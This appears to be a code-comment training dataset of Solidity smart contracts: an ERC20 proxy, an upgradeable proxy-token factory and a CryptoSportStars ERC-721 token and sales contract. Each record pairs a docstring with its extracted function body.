_forwardCall(abi.encodeWithSelector(IERC20Proxy.mint.selector, receipient, amount)); return result; } function _burn(uint256 amount) internal returns (bool) { (bool result,) = _forwardCall(abi.encodeWithSelector(IERC20Proxy.burn.selector, amount)); return result; } function _burnFrom(address receipient, uint256 amount) internal returns (bool) { (bool result,) = _forwardCall(abi.encodeWithSelector(IERC20Proxy.burnFrom.selector, receipient, amount)); return result; } function _decreaseAllowance(address spender, uint256 subtractedValue) internal returns (bool) { (bool result,) = _forwardCall(abi.encodeWithSelector(IERC20Proxy.decreaseAllowance.selector, spender, subtractedValue)); return result; } function _increaseAllowance(address spender, uint256 addedValue) internal returns (bool) { (bool result,) = _forwardCall(abi.encodeWithSelector(IERC20Proxy.increaseAllowance.selector, spender, addedValue)); return result; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { (bool result,) = _forwardCall(abi.encodeWithSelector(IERC20.transferFrom.selector, sender, recipient, amount)); return result; } function _approve(address spender, uint256 amount) internal returns (bool) { (bool result,) = _forwardCall(abi.encodeWithSelector(IERC20.approve.selector, spender, amount)); return result; } function _transfer(address recipient, uint256 amount) internal returns (bool) { (bool result,) = _forwardCall(abi.encodeWithSelector(IERC20.transfer.selector, recipient, amount)); return result; } function domainName() public virtual override(DomainAware, IERC20Proxy) view returns (bytes memory) { return bytes(name()); } function domainVersion() public virtual override(DomainAware, IERC20Proxy) view returns (bytes32) { return bytes32(uint256(uint160(address(_getImplementationContract())))); } function upgradeTo(address implementation, bytes memory data) external override onlyManager { _setImplementation(implementation); //Invoke initalize require(_getStorageContract().onUpgrade(data), "Logic initializing failed"); } function registerExtension(address extension) external override onlyManager returns (bool) { bool result = _getStorageContract().registerExtension(extension); if (result) { address contextAddress = _getStorageContract().contextAddressForExtension(extension); ExtensionStorage context = ExtensionStorage(payable(contextAddress)); bytes32[] memory requiredRoles = context.requiredRoles(); //If we have roles we need to register, then lets register them if (requiredRoles.length > 0) { address ctxAddress = address(context); for (uint i = 0; i < requiredRoles.length; i++) { _addRole(ctxAddress, requiredRoles[i]); } } } return result; } function removeExtension(address extension) external override onlyManager returns (bool) { bool result = _getStorageContract().removeExtension(extension); if (result) { address contextAddress = _getStorageContract().contextAddressForExtension(extension); ExtensionStorage context = ExtensionStorage(payable(contextAddress)); bytes32[] memory requiredRoles = context.requiredRoles(); //If we have roles we need to register, then lets register them if (requiredRoles.length > 0) { address ctxAddress = address(context); for (uint i = 0; i < requiredRoles.length; i++) { _removeRole(ctxAddress, requiredRoles[i]); } } } return result; } function disableExtension(address extension) external override onlyManager returns (bool) { return _getStorageContract().disableExtension(extension); } function enableExtension(address extension) external override onlyManager returns (bool) { return _getStorageContract().enableExtension(extension); } function allExtensions() external override view returns (address[] memory) { return _getStorageContract().allExtensions(); } function contextAddressForExtension(address extension) external override view returns (address) { return _getStorageContract().contextAddressForExtension(extension); } function bytesToHex(bytes memory x) internal pure returns (string memory) { bytes memory f = new bytes(x.length * 2); bytes memory hexChars = bytes("0123456789ABCDEF"); for (uint j = 0; j < x.length; j++) { uint v = uint(uint8(x[j] & 0xFF)); f[j * 2] = hexChars[v >> uint256(4)]; f[j * 2 + 1] = hexChars[v & 0x0F]; } return string(f); } // Forward any function not found here to the storage // contract, appending _msgSender() to the end of the // calldata provided and return any values fallback() external virtual payable { //we cant define a return value for fallback //therefore, we must do the call in in-line assembly //so we can use the return() opcode to return //dynamic data from the storage contract address store = address(_getStorageContract()); bytes memory cdata = abi.encodePacked(_msgData(), _msgSender()); uint256 value = msg.value; // Execute external function from storage using call and return any value. assembly { // execute function call let result := call(gas(), store, value, add(cdata, 0x20), mload(cdata), 0, 0) // get any return value returndatacopy(0, 0, returndatasize()) // return any return value or error back to the caller switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _forwardCurrentCall() private returns (bool, bytes memory) { return _forwardCall(_msgData()); } function _forwardCall(bytes memory _calldata) private returns (bool success, bytes memory result) { address store = address(_getStorageContract()); // Forward call to storage contract, appending the current _msgSender to the // end of the current calldata (success, result) = store.call{gas: gasleft(), value: msg.value}(abi.encodePacked(_calldata, _msgSender())); if (!success) { revert(string(result)); } } receive() external payable {} function tokenStandard() external pure override returns (TokenStandard) { return TokenStandard.ERC20; } }
Returns the decimals places of the token./
function decimals() public override view returns (uint8) { return _getStorageContract().decimals(); }
1,842,406
pragma solidity 0.4.24; // File: contracts/proxy/ERCProxy.sol /** * @title ERCProxy * @dev Based on ERC897 interface * @dev changed proxyType() from `pure` to `view` to accomodate assembly storage * See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-897.md */ interface ERCProxy { /** * @dev Tells the type uint of the proxy. * @return type of the proxy type */ function proxyType() public view returns (uint256 proxyTypeId); /** * @dev Tells the address of the implementation where every call will be delegated. * @return address of the implementation to which it will be delegated */ function implementation() public view returns (address codeAddr); } // File: contracts/proxy/Proxy.sol /** * @title Proxy * @dev Gives the possibility to delegate any call to a foreign implementation. * @dev source https://github.com/zeppelinos/labs/blob/master/upgradeability_using_unstructured_storage/contracts/Proxy.sol */ contract Proxy is ERCProxy { // Storage position of the address of the current implementation bytes32 private constant typeIdPosition = keccak256("org.meridio.proxy.typeId"); /** * @dev Sets the proxyTypeId. Should be called from the Proxy constructor * @param _proxyTypeId uint representing Forwarding Proxy (id = 1) or Upgradeable Proxy (id = 2); */ function setProxyTypeId (uint256 _proxyTypeId) internal { require(_proxyTypeId == 1 || _proxyTypeId == 2, "Must be type 1 or 2"); bytes32 position = typeIdPosition; assembly { // solhint-disable-line sstore(position, _proxyTypeId) } } /** * @dev Tells the address of the current implementation * @return address of the current implementation */ function proxyType() public view returns (uint256 proxyTypeId) { bytes32 position = typeIdPosition; assembly { // solhint-disable-line proxyTypeId := sload(position) } } /** * @dev Fallback function allowing to perform a delegatecall to the given implementation. * This function will return whatever the implementation call returns */ function () payable public { address _impl = implementation(); require(_impl != address(0)); assembly { // solhint-disable-line let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } } // File: contracts/proxy/UpgradeabilityProxy.sol /** * @title UpgradeabilityProxy * @dev This contract represents a proxy where the implementation address to which it will delegate can be upgraded * @dev source https://github.com/zeppelinos/labs/blob/master/upgradeability_using_unstructured_storage/contracts/UpgradeabilityProxy.sol */ contract UpgradeabilityProxy is Proxy { /** * @dev This event will be emitted every time the implementation gets upgraded * @param implementation representing the address of the upgraded implementation */ event Upgraded(address indexed implementation); // Storage position of the address of the current implementation bytes32 private constant implementationPosition = keccak256("org.meridio.proxy.implementation"); /** * @dev Constructor function */ constructor() public {} /** * @dev Tells the address of the current implementation * @return address of the current implementation */ function implementation() public view returns (address impl) { bytes32 position = implementationPosition; assembly { // solhint-disable-line impl := sload(position) } } /** * @dev Sets the address of the current implementation * @param newImplementation address representing the new implementation to be set */ function setImplementation(address newImplementation) internal { bytes32 position = implementationPosition; assembly { // solhint-disable-line sstore(position, newImplementation) } } /** * @dev Upgrades the implementation address * @param newImplementation representing the address of the new implementation to be set */ function _upgradeTo(address newImplementation) internal { address currentImplementation = implementation(); require(currentImplementation != newImplementation); // require(newImplementation != address(0)); setImplementation(newImplementation); emit Upgraded(newImplementation); } } // File: contracts/proxy/OwnedUpgradeabilityProxy.sol /** * @title OwnedUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with basic authorization control functionalities * @dev source https://github.com/zeppelinos/labs/blob/master/upgradeability_using_unstructured_storage/contracts/OwnedUpgradeabilityProxy.sol * @dev implementation notes: * - constructors will not work, the proxied contract must be initialized after proxying. That is what the upgradeToAndCall function is for. * - if you do not inherit your version n-1 into version n, you will overwrite memory slots with the new contract. * - if you inherit version n-1 into version n, you will preserve memory slots including the _initialized flag. * - Therefore each new contract that needs to be initialized should have its own _initialized flag and function. */ contract ProxyToken is UpgradeabilityProxy { /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event ProxyOwnershipTransferred(address previousOwner, address newOwner); // Storage position of the owner of the contract bytes32 private constant proxyOwnerPosition = keccak256("org.meridio.proxy.owner"); /** * @dev the constructor sets the original owner of the contract to the sender account. */ constructor() public { setUpgradeabilityOwner(msg.sender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyProxyOwner() { require(msg.sender == proxyOwner(), "Must be proxy Owner"); _; } /** * @dev Tells the address of the owner * @return the address of the owner */ function proxyOwner() public view returns (address owner) { bytes32 position = proxyOwnerPosition; assembly { // solhint-disable-line owner := sload(position) } } /** * @dev Sets the address of the owner */ function setUpgradeabilityOwner(address newProxyOwner) internal { bytes32 position = proxyOwnerPosition; assembly { // solhint-disable-line sstore(position, newProxyOwner) } } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferProxyOwnership(address newOwner) public onlyProxyOwner { require(newOwner != address(0)); emit ProxyOwnershipTransferred(proxyOwner(), newOwner); setUpgradeabilityOwner(newOwner); } /** * @dev Allows the proxy owner to upgrade the current version of the proxy. * @param implementation representing the address of the new implementation to be set. */ function upgradeTo(address implementation) public onlyProxyOwner { _upgradeTo(implementation); } /** * @dev Allows the proxy owner to upgrade the current version of the proxy and call the new implementation * to initialize whatever is needed through a low level call. * @param implementation representing the address of the new implementation to be set. * @param data represents the msg.data to bet sent in the low level call. This parameter may include the function * signature of the implementation to be called with the needed payload */ function upgradeToAndCall(address implementation, bytes data) payable public onlyProxyOwner { upgradeTo(implementation); require(address(this).call.value(msg.value)(data)); // solhint-disable-line no-call-value } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/lifecycle/TokenDestructible.sol /** * @title TokenDestructible: * @author Remco Bloemen <remco@2π.com> * @dev Base contract that can be destroyed by owner. All funds in contract including * listed tokens will be sent to the owner. */ contract TokenDestructible is Ownable { constructor() public payable { } /** * @notice Terminate contract and refund to owner * @param _tokens List of addresses of ERC20 or ERC20Basic token contracts to refund. * @notice The called token contracts could try to re-enter this contract. Only supply token contracts you trust. */ function destroy(address[] _tokens) public onlyOwner { // Transfer tokens to owner for (uint256 i = 0; i < _tokens.length; i++) { ERC20Basic token = ERC20Basic(_tokens[i]); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); } // Transfer Eth to owner and terminate contract selfdestruct(owner); } } // File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } // File: contracts/interfaces/IAssetTokenInitializer.sol /** * @title AssetToken V1.0 Initializer interface */ interface IAssetTokenInitializer { function initialize( address _owner, uint256 _initialAmount, string _name, uint8 _decimalUnits, string _symbol ) external; } // File: contracts/factories/ProxyTokenFactory.sol /** * @title ProxyToken contract factory * * @dev Implementation of the ProxyToken contract factory. * Launches Owned and Upgradeable Proxy Contracts, * points them to the passed in implementation */ contract ProxyTokenFactory is TokenDestructible, Pausable { event ProxyTokenCreated( address indexed owner, address indexed implementationAddress, address indexed proxyTokenAddress, uint256 _initialSupply, string _name, uint8 _decimalUnits, string _symbol ); function createProxyToken( IAssetTokenInitializer _implementation, uint256 _initialSupply, string _name, uint8 _decimalUnits, string _symbol ) external whenNotPaused returns (address) { require(_implementation != address(0), "Implementation must not be address 0"); require(_implementation != address(this), "Implementation must not be this address"); ProxyToken proxyToken = new ProxyToken(); proxyToken.upgradeTo(_implementation); IAssetTokenInitializer proxyTokenInitializer = IAssetTokenInitializer(address(proxyToken)); proxyTokenInitializer.initialize( msg.sender, _initialSupply, _name, _decimalUnits, _symbol ); proxyToken.transferProxyOwnership(msg.sender); emit ProxyTokenCreated( msg.sender, _implementation, proxyToken, _initialSupply, _name, _decimalUnits, _symbol ); return proxyToken; } }
Fallback function allowing to perform a delegatecall to the given implementation. This function will return whatever the implementation call returns/
function () payable public { address _impl = implementation(); require(_impl != address(0)); let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } }
14,041,600
//Address: 0xd571788859897023b500c6c7fd295bba1e7ff71c //Contract name: SportStarMaster //Balance: 0.003422924159669719 Ether //Verification Date: 3/9/2018 //Transacion Count: 4 // CODE STARTS HERE pragma solidity ^0.4.18; // solhint-disable-line /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete) contract ERC721 { // Required methods function approve(address _to, uint256 _tokenId) public; function balanceOf(address _owner) public view returns (uint256 balance); function implementsERC721() public pure returns (bool); function ownerOf(uint256 _tokenId) public view returns (address addr); function takeOwnership(uint256 _tokenId) public; function totalSupply() public view returns (uint256 total); function transferFrom(address _from, address _to, uint256 _tokenId) public; function transfer(address _to, uint256 _tokenId) public; event Transfer(address indexed from, address indexed to, uint256 tokenId); event Approval(address indexed owner, address indexed approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId); // function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl); } contract SportStarToken is ERC721 { // ***** EVENTS // @dev Transfer event as defined in current draft of ERC721. // ownership is assigned, including births. event Transfer(address from, address to, uint256 tokenId); // ***** STORAGE // @dev A mapping from token IDs to the address that owns them. All tokens have // some valid owner address. mapping (uint256 => address) public tokenIndexToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) private ownershipTokenCount; // @dev A mapping from TokenIDs to an address that has been approved to call // transferFrom(). Each Token can only have one approved address for transfer // at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public tokenIndexToApproved; // Additional token data mapping (uint256 => bytes32) public tokenIndexToData; address public ceoAddress; address public masterContractAddress; uint256 public promoCreatedCount; // ***** DATATYPES struct Token { string name; } Token[] private tokens; // ***** ACCESS MODIFIERS modifier onlyCEO() { require(msg.sender == ceoAddress); _; } modifier onlyMasterContract() { require(msg.sender == masterContractAddress); _; } // ***** CONSTRUCTOR function SportStarToken() public { ceoAddress = msg.sender; } // ***** PRIVILEGES SETTING FUNCTIONS function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } function setMasterContract(address _newMasterContract) public onlyCEO { require(_newMasterContract != address(0)); masterContractAddress = _newMasterContract; } // ***** PUBLIC FUNCTIONS // @notice Returns all the relevant information about a specific token. // @param _tokenId The tokenId of the token of interest. function getToken(uint256 _tokenId) public view returns ( string tokenName, address owner ) { Token storage token = tokens[_tokenId]; tokenName = token.name; owner = tokenIndexToOwner[_tokenId]; } // @param _owner The owner whose sport star tokens we are interested in. // @dev This method MUST NEVER be called by smart contract code. First, it's fairly // expensive (it walks the entire Tokens array looking for tokens belonging to owner), // but it also returns a dynamic array, which is only supported for web3 calls, and // not contract-to-contract calls. function tokensOfOwner(address _owner) public view returns (uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalTokens = totalSupply(); uint256 resultIndex = 0; uint256 tokenId; for (tokenId = 0; tokenId <= totalTokens; tokenId++) { if (tokenIndexToOwner[tokenId] == _owner) { result[resultIndex] = tokenId; resultIndex++; } } return result; } } function getTokenData(uint256 _tokenId) public view returns (bytes32 tokenData) { return tokenIndexToData[_tokenId]; } // ***** ERC-721 FUNCTIONS // @notice Grant another address the right to transfer token via takeOwnership() and transferFrom(). // @param _to The address to be granted transfer approval. Pass address(0) to // clear all approvals. // @param _tokenId The ID of the Token that can be transferred if this call succeeds. function approve(address _to, uint256 _tokenId) public { // Caller must own token. require(_owns(msg.sender, _tokenId)); tokenIndexToApproved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } // For querying balance of a particular account // @param _owner The address for balance query function balanceOf(address _owner) public view returns (uint256 balance) { return ownershipTokenCount[_owner]; } function name() public pure returns (string) { return "CryptoSportStars"; } function symbol() public pure returns (string) { return "SportStarToken"; } function implementsERC721() public pure returns (bool) { return true; } // For querying owner of token // @param _tokenId The tokenID for owner inquiry function ownerOf(uint256 _tokenId) public view returns (address owner) { owner = tokenIndexToOwner[_tokenId]; require(owner != address(0)); } // @notice Allow pre-approved user to take ownership of a token // @param _tokenId The ID of the Token that can be transferred if this call succeeds. function takeOwnership(uint256 _tokenId) public { address newOwner = msg.sender; address oldOwner = tokenIndexToOwner[_tokenId]; // Safety check to prevent against an unexpected 0x0 default. require(_addressNotNull(newOwner)); // Making sure transfer is approved require(_approved(newOwner, _tokenId)); _transfer(oldOwner, newOwner, _tokenId); } // For querying totalSupply of token function totalSupply() public view returns (uint256 total) { return tokens.length; } // Owner initates the transfer of the token to another account // @param _to The address for the token to be transferred to. // @param _tokenId The ID of the Token that can be transferred if this call succeeds. function transfer(address _to, uint256 _tokenId) public { require(_owns(msg.sender, _tokenId)); require(_addressNotNull(_to)); _transfer(msg.sender, _to, _tokenId); } // Third-party initiates transfer of token from address _from to address _to // @param _from The address for the token to be transferred from. // @param _to The address for the token to be transferred to. // @param _tokenId The ID of the Token that can be transferred if this call succeeds. function transferFrom(address _from, address _to, uint256 _tokenId) public { require(_owns(_from, _tokenId)); require(_approved(_to, _tokenId)); require(_addressNotNull(_to)); _transfer(_from, _to, _tokenId); } // ONLY MASTER CONTRACT FUNCTIONS function createToken(string _name, address _owner) public onlyMasterContract returns (uint256 _tokenId) { return _createToken(_name, _owner); } function updateOwner(address _from, address _to, uint256 _tokenId) public onlyMasterContract { _transfer(_from, _to, _tokenId); } function setTokenData(uint256 _tokenId, bytes32 tokenData) public onlyMasterContract { tokenIndexToData[_tokenId] = tokenData; } // PRIVATE FUNCTIONS // Safety check on _to address to prevent against an unexpected 0x0 default. function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } // For checking approval of transfer for address _to function _approved(address _to, uint256 _tokenId) private view returns (bool) { return tokenIndexToApproved[_tokenId] == _to; } // For creating Token function _createToken(string _name, address _owner) private returns (uint256 _tokenId) { Token memory _token = Token({ name: _name }); uint256 newTokenId = tokens.push(_token) - 1; // It's probably never going to happen, 4 billion tokens are A LOT, but // let's just be 100% sure we never let this happen. require(newTokenId == uint256(uint32(newTokenId))); // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(address(0), _owner, newTokenId); return newTokenId; } // Check for token ownership function _owns(address claimant, uint256 _tokenId) private view returns (bool) { return claimant == tokenIndexToOwner[_tokenId]; } // @dev Assigns ownership of a specific Token to an address. function _transfer(address _from, address _to, uint256 _tokenId) private { // Since the number of tokens is capped to 2^32 we can't overflow this ownershipTokenCount[_to]++; //transfer ownership tokenIndexToOwner[_tokenId] = _to; // When creating new tokens _from is 0x0, but we can't account that address. if (_from != address(0)) { ownershipTokenCount[_from]--; // clear any previously approved ownership exchange delete tokenIndexToApproved[_tokenId]; } // Emit the transfer event. Transfer(_from, _to, _tokenId); } } contract SportStarMaster { // ***** EVENTS ***/ // @dev The Birth event is fired whenever a new token comes into existence. event Birth(uint256 tokenId, string name, address owner); // @dev The TokenSold event is fired whenever a token is sold. event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner); // @dev Transfer event as defined in current draft of ERC721. // ownership is assigned, including births. event Transfer(address from, address to, uint256 tokenId); // ***** CONSTANTS ***/ uint256 private startingPrice = 0.001 ether; uint256 private firstStepLimit = 0.053613 ether; uint256 private secondStepLimit = 0.564957 ether; // ***** STORAGE ***/ // @dev A mapping from TokenIDs to the price of the token. mapping(uint256 => uint256) private tokenIndexToPrice; // The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public cooAddress; // The address of tokens contract SportStarToken public tokensContract; uint256 public promoCreatedCount; uint256 private increaseLimit1 = 0.05 ether; uint256 private increaseLimit2 = 0.5 ether; uint256 private increaseLimit3 = 2.0 ether; uint256 private increaseLimit4 = 5.0 ether; // ***** ACCESS MODIFIERS ***/ // @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } // @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } // Access modifier for contract owner only functionality modifier onlyCLevel() { require( msg.sender == ceoAddress || msg.sender == cooAddress ); _; } // ***** CONSTRUCTOR ***/ function SportStarMaster() public { ceoAddress = msg.sender; cooAddress = msg.sender; //Old prices tokenIndexToPrice[0]=198056585936481135; tokenIndexToPrice[1]=198056585936481135; tokenIndexToPrice[2]=198056585936481135; tokenIndexToPrice[3]=76833314470700771; tokenIndexToPrice[4]=76833314470700771; tokenIndexToPrice[5]=76833314470700771; tokenIndexToPrice[6]=76833314470700771; tokenIndexToPrice[7]=76833314470700771; tokenIndexToPrice[8]=76833314470700771; tokenIndexToPrice[9]=76833314470700771; tokenIndexToPrice[10]=76833314470700771; tokenIndexToPrice[11]=76833314470700771; tokenIndexToPrice[12]=76833314470700771; tokenIndexToPrice[13]=76833314470700771; tokenIndexToPrice[14]=37264157518289874; tokenIndexToPrice[15]=76833314470700771; tokenIndexToPrice[16]=144447284479990001; tokenIndexToPrice[17]=144447284479990001; tokenIndexToPrice[18]=37264157518289874; tokenIndexToPrice[19]=76833314470700771; tokenIndexToPrice[20]=37264157518289874; tokenIndexToPrice[21]=76833314470700771; tokenIndexToPrice[22]=105348771387661881; tokenIndexToPrice[23]=144447284479990001; tokenIndexToPrice[24]=105348771387661881; tokenIndexToPrice[25]=37264157518289874; tokenIndexToPrice[26]=37264157518289874; tokenIndexToPrice[27]=37264157518289874; tokenIndexToPrice[28]=76833314470700771; tokenIndexToPrice[29]=105348771387661881; tokenIndexToPrice[30]=76833314470700771; tokenIndexToPrice[31]=37264157518289874; tokenIndexToPrice[32]=76833314470700771; tokenIndexToPrice[33]=37264157518289874; tokenIndexToPrice[34]=76833314470700771; tokenIndexToPrice[35]=37264157518289874; tokenIndexToPrice[36]=37264157518289874; tokenIndexToPrice[37]=76833314470700771; tokenIndexToPrice[38]=76833314470700771; tokenIndexToPrice[39]=37264157518289874; tokenIndexToPrice[40]=37264157518289874; tokenIndexToPrice[41]=37264157518289874; tokenIndexToPrice[42]=76833314470700771; tokenIndexToPrice[43]=37264157518289874; tokenIndexToPrice[44]=37264157518289874; tokenIndexToPrice[45]=76833314470700771; tokenIndexToPrice[46]=37264157518289874; tokenIndexToPrice[47]=37264157518289874; tokenIndexToPrice[48]=76833314470700771; } function setTokensContract(address _newTokensContract) public onlyCEO { require(_newTokensContract != address(0)); tokensContract = SportStarToken(_newTokensContract); } // ***** PRIVILEGES SETTING FUNCTIONS function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } // ***** PUBLIC FUNCTIONS ***/ function getTokenInfo(uint256 _tokenId) public view returns ( address owner, uint256 price, bytes32 tokenData ) { owner = tokensContract.ownerOf(_tokenId); price = tokenIndexToPrice[_tokenId]; tokenData = tokensContract.getTokenData(_tokenId); } // @dev Creates a new promo Token with the given name, with given _price and assignes it to an address. function createPromoToken(address _owner, string _name, uint256 _price) public onlyCOO { address tokenOwner = _owner; if (tokenOwner == address(0)) { tokenOwner = cooAddress; } if (_price <= 0) { _price = startingPrice; } promoCreatedCount++; uint256 newTokenId = tokensContract.createToken(_name, tokenOwner); tokenIndexToPrice[newTokenId] = _price; Birth(newTokenId, _name, _owner); } // @dev Creates a new Token with the given name. function createContractToken(string _name) public onlyCOO { uint256 newTokenId = tokensContract.createToken(_name, address(this)); tokenIndexToPrice[newTokenId] = startingPrice; Birth(newTokenId, _name, address(this)); } function createContractTokenWithPrice(string _name, uint256 _price) public onlyCOO { uint256 newTokenId = tokensContract.createToken(_name, address(this)); tokenIndexToPrice[newTokenId] = _price; Birth(newTokenId, _name, address(this)); } function setGamblingFee(uint256 _tokenId, uint256 _fee) public { require(msg.sender == tokensContract.ownerOf(_tokenId)); require(_fee >= 0 && _fee <= 100); bytes32 tokenData = byte(_fee); tokensContract.setTokenData(_tokenId, tokenData); } // Allows someone to send ether and obtain the token function purchase(uint256 _tokenId) public payable { address oldOwner = tokensContract.ownerOf(_tokenId); address newOwner = msg.sender; uint256 sellingPrice = tokenIndexToPrice[_tokenId]; // Making sure token owner is not sending to self require(oldOwner != newOwner); // Safety check to prevent against an unexpected 0x0 default. require(_addressNotNull(newOwner)); // Making sure sent amount is greater than or equal to the sellingPrice require(msg.value >= sellingPrice); uint256 devCut = calculateDevCut(sellingPrice); uint256 payment = SafeMath.sub(sellingPrice, devCut); uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice); tokenIndexToPrice[_tokenId] = calculateNextPrice(sellingPrice); tokensContract.updateOwner(oldOwner, newOwner, _tokenId); // Pay previous tokenOwner if owner is not contract if (oldOwner != address(this)) { oldOwner.transfer(payment); } TokenSold(_tokenId, sellingPrice, tokenIndexToPrice[_tokenId], oldOwner, newOwner); msg.sender.transfer(purchaseExcess); } function priceOf(uint256 _tokenId) public view returns (uint256 price) { return tokenIndexToPrice[_tokenId]; } function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) { if (_price < increaseLimit1) { return SafeMath.div(SafeMath.mul(_price, 3), 100); // 3% } else if (_price < increaseLimit2) { return SafeMath.div(SafeMath.mul(_price, 3), 100); // 3% } else if (_price < increaseLimit3) { return SafeMath.div(SafeMath.mul(_price, 3), 100); // 3% } else if (_price < increaseLimit4) { return SafeMath.div(SafeMath.mul(_price, 3), 100); // 3% } else { return SafeMath.div(SafeMath.mul(_price, 2), 100); // 2% } } function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) { if (_price < increaseLimit1) { return SafeMath.div(SafeMath.mul(_price, 200), 97); } else if (_price < increaseLimit2) { return SafeMath.div(SafeMath.mul(_price, 133), 97); } else if (_price < increaseLimit3) { return SafeMath.div(SafeMath.mul(_price, 125), 97); } else if (_price < increaseLimit4) { return SafeMath.div(SafeMath.mul(_price, 115), 97); } else { return SafeMath.div(SafeMath.mul(_price, 113), 98); } } function payout(address _to) public onlyCEO { if (_to == address(0)) { ceoAddress.transfer(this.balance); } else { _to.transfer(this.balance); } } // PRIVATE FUNCTIONS // Safety check on _to address to prevent against an unexpected 0x0 default. function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
Allow pre-approved user to take ownership of a token _tokenId The ID of the Token that can be transferred if this call succeeds. Safety check to prevent against an unexpected 0x0 default. Making sure transfer is approved
function takeOwnership(uint256 _tokenId) public { address newOwner = msg.sender; address oldOwner = tokenIndexToOwner[_tokenId]; require(_addressNotNull(newOwner)); require(_approved(newOwner, _tokenId)); _transfer(oldOwner, newOwner, _tokenId); }
1,008,804
./full_match/1/0xC2C3D431249E64542aDD3172665732e485928Ad3/sources/_openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
